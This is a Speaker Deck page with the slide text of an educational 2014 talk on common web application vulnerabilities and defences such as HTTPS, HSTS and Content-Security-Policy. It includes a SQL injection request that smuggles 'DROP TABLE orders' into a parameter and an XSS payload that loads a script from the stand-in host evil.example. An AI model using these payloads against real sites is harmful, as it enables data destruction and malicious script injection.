Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
There Is No Silver Bullet
Search
Harley Watson
November 29, 2014
Programming
0
930
There Is No Silver Bullet
Harley Watson
November 29, 2014
Tweet
Share
More Decks by Harley Watson
See All by Harley Watson
paper tickets > smartcards, probably.
unlobito
0
7.6k
one, two step
unlobito
0
790
What's in your pocket? (BSides Manchester)
unlobito
0
1k
sorry, we're cash only. (securi-tay)
unlobito
1
1.2k
Sorry, we're cash only. (hacksoc)
unlobito
0
100
There Is No Silver Bullet (Español)
unlobito
0
160
Other Decks in Programming
See All in Programming
『毎日の移動』を支えるGoバックエンド内製開発
yutautsugi
2
230
Building, Deploying, and Monitoring Ruby Web Applications with Falcon (Kaigi on Rails 2025)
ioquatix
4
1.9k
Devoxx BE - Local Development in the AI Era
kdubois
0
120
CSC509 Lecture 06
javiergs
PRO
0
260
SpecKitでどこまでできる? コストはどれくらい?
leveragestech
0
670
なぜGoのジェネリクスはこの形なのか? Featherweight Goが明かす設計の核心
ryotaros
7
1.1k
詳しくない分野でのVibe Codingで困ったことと学び/vibe-coding-in-unfamiliar-area
shibayu36
3
4.8k
What's new in Spring Modulith?
olivergierke
1
140
NetworkXとGNNで学ぶグラフデータ分析入門〜複雑な関係性を解き明かすPythonの力〜
mhrtech
3
1.2k
なぜあの開発者はDevRelに伴走し続けるのか / Why Does That Developer Keep Running Alongside DevRel?
nrslib
3
390
私達はmodernize packageに夢を見るか feat. go/analysis, go/ast / Go Conference 2025
kaorumuta
2
520
開発生産性を上げるための生成AI活用術
starfish719
3
420
Featured
See All Featured
Dealing with People You Can't Stand - Big Design 2015
cassininazir
367
27k
How STYLIGHT went responsive
nonsquared
100
5.8k
KATA
mclloyd
32
15k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
29
2.7k
Agile that works and the tools we love
rasmusluckow
331
21k
The World Runs on Bad Software
bkeepers
PRO
71
11k
Rails Girls Zürich Keynote
gr2m
95
14k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
32
2.3k
Unsuck your backbone
ammeep
671
58k
Balancing Empowerment & Direction
lara
4
680
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
132
19k
Raft: Consensus for Rubyists
vanstee
139
7.1k
Transcript
there is no silver bullet Henri Watson
Which vulnerabili.es commonly affect web applica.ons in the
Dominican Republic?
No HTTPS
Using HTTPS won’t cost you an arm and a
leg.
The current proposal for HTTP/2.0 requires TLS.
If you decide to use HTTPS, also use Strict-‐Transport-‐Security
and ssllabs.com/ssltest
SQL Injec.ons
GET /tracker?order=12345”; DROP TABLE orders;-‐-‐ SELECT * FROM
orders WHERE order = “12345”; DROP TABLE orders;-‐-‐” AND status = “pending” Request from the client to the server Request from the webserver to the database
None
None
None
Authen.ca.on Implementa.on Mistakes
None
None
Cross-‐Site Scrip.ng (XSS)
GET /hi?name=<script src=“hep://evil.example/ l33thax.js”></script> Hello, <script src=“hep://evil.example/ l33thax.js”></script>!
Request from the client to the server Reply from the server to the client
Content-‐Security-‐Policy
Exposure of Sensi.ve Data
None
Using Components With Known Vulnerabili.es
Mailing Lists • bugtraq hep://www.securityfocus.com/archive/1 • debian-‐security-‐announce
heps://lists.debian.org/debian-‐security-‐announce/ • fulldisclosure hep://nmap.org/mailman/lis.nfo/fulldisclosure
Mailing Lists •
[email protected]
heps://hepd.apache.org/lists.html#hep-‐announce • nginx-‐announce
hep://mailman.nginx.org/mailman/lis.nfo/nginx-‐ announce • php-‐announce hep://php.net/mailing-‐lists.php
None
Customer Service
None
Why is there no “silver bullet”?
Informa.on security is a constant investment.
Heartbleed
By placing your users’ informa.on at risk, you also
risk ruining your company’s reputa.on.
Thanks! @henriwatson
[email protected]
heps://henriwatson.com/talks/silverbullet